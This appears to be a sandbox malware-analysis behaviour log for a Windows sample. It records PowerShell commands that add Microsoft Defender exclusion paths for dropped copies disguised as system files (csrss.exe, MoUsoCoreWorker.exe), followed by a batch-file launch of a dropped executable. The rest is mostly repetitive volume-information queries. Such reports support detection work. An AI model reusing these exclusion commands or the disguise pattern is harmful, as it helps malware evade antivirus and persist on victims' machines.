Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Downloaded Program Files\MoUsoCoreWorker.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Mozilla Firefox\gmp-clearkey\0.1\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\Start Menu\Programs\Accessories\csrss.exe'	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\46FAiS0S6O.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe "C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe"

Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000004B96000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp, nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002B81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: nRlqAJqnLtuwljTOfeVJPERQcpcS.exe, 00000010.00000002.2890315782.0000000002D96000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Managerx

Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Queries volume information: C:\Users\user\Desktop\fDTPlvsGfH.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\fDTPlvsGfH.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
Source: C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
